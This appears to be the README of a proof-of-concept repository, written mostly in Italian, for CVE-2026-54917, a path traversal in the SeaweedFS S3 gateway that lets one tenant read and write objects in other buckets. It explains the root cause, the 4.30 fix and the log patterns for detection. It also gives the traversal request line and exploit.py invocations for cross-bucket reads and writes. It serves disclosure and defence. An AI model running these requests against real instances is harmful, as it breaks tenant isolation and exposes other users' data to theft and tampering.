CVE-2026-54917 — SeaweedFS S3 gateway: path traversal tra bucket

Proof-of-concept e analisi tecnica per CVE-2026-54917, un path traversal nel gateway API S3 di SeaweedFS che consente a un chiamante di accedere a oggetti in qualsiasi bucket, indipendentemente da ciò per cui le sue credenziali sono autorizzate.

├── exploit.py           self-contained exploit (read + write, 4 traversal encodings)
├── README.md            this file
├── ANALYSIS.md          source-level root-cause walkthrough
├── EVIDENCE.txt         raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff      the security-relevant portion of the official fix
└── lab/                 one-command reproduction (docker-compose / setup.sh)

Riepilogo

Il router dell'API S3 è costruito con mux.NewRouter().SkipClean(true). Con la pulizia del percorso disabilitata, un segmento .. all'interno del percorso della richiesta sopravvive al routing. Una richiesta come:

GET /bucket-a/../evil-bucket/secret.txt

viene associata dalla route mux come {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt".

A questo punto due cose divergono:

• Autorizzazione viene valutata sulla variabile mux {bucket} — bucket-a — che il chiamante è autorizzato a usare.
• I/O concatena la chiave dell'oggetto in un percorso del filer (bucketDir(bucket) + "/" + object) e il filer risolve i .. lato server, quindi la lettura/scrittura finisce effettivamente in evil-bucket.

Il risultato è un classico confused deputy: IAM controlla un bucket, il filesystem opera su un altro. Un principal autorizzato per un solo bucket può leggere e scrivere oggetti in ogni altro bucket dell'istanza.

Impatto

• enableAuth = false — lettura/scrittura cross-bucket diretta e non autenticata.
• enableAuth = true — confused deputy nell'autorizzazione: qualsiasi principal autenticato (qualsiasi tenant) legge e scrive oltre i confini dei bucket per cui non ha alcuna autorizzazione. È il caso dimostrato qui e il motivo del punteggio 10.0 / scope cambiato: la credenziale di un tenant rompe l'isolamento di tutti gli altri.

Exploit

exploit.py usa solo la libreria standard di Python. Firma ogni richiesta con SigV4 da solo e scrive la riga di richiesta byte per byte, così il percorso di traversal arriva al server senza modifiche — è questo che rende possibili le varianti URL-encoded che un normale SDK S3 riscriverebbe.

# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
  --url http://TARGET:8333 \
  --access-key <key> --secret-key <secret> \
  --auth-bucket bucket-a \          # bucket the credential IS allowed to use
  --target-bucket evil-bucket \     # bucket you are NOT allowed to use
  --key secret.txt

# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin

# try a different traversal encoding
python3 exploit.py ... --variant enc-slash        # dotdot | enc-dot | enc-slash | enc-backslash

Quattro codifiche di traversal sono implementate e tutte confermate su 4.29:

Riproduzione

cd lab
./setup.sh                       # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
  --access-key TENANTAKEY --secret-key tenantasecret \
  --auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly

TAG=4.30 ./setup.sh              # patched build, same steps -> HTTP 400 InvalidRequest

Il lab abilita IAM (lab/s3.json) con due identità: admin (accesso completo) e tenant-a (limitato a bucket-a). Tutto lo sfruttamento usa solo la credenziale di tenant-a. Vedi EVIDENCE.txt per la trascrizione completa.

Causa principale

Vedi ANALYSIS.md. In breve: SkipClean(true) mantiene i .. nel percorso instradato; GetBucketAndObject cattura le variabili mux grezze; IAM autorizza in base a {bucket}; toFilerPath concatena {object} (che contiene ancora ..) nel percorso del filer, dove viene risolto e attraversa il confine del bucket.

Correzione

Corretto in 4.30 (patch-4.30.diff). Un middleware validateRequestPath viene eseguito prima degli handler dei bucket e rifiuta qualsiasi variabile {bucket} / {object} catturata che sia vuota o contenga un segmento di traversal, restituendo 400 InvalidRequest. Aggiorna a 4.30 o successiva.

Rilevamento

• Qualsiasi richiesta S3 il cui percorso contenga /../, /%2e%2e, ..%2f o ..%5c tra il segmento del bucket e la chiave.
• Log di accesso in cui il bucket valutato da IAM differisce dal bucket in cui l'oggetto è stato infine risolto.

Crediti

Caio Fabrício — github.com/BiiTts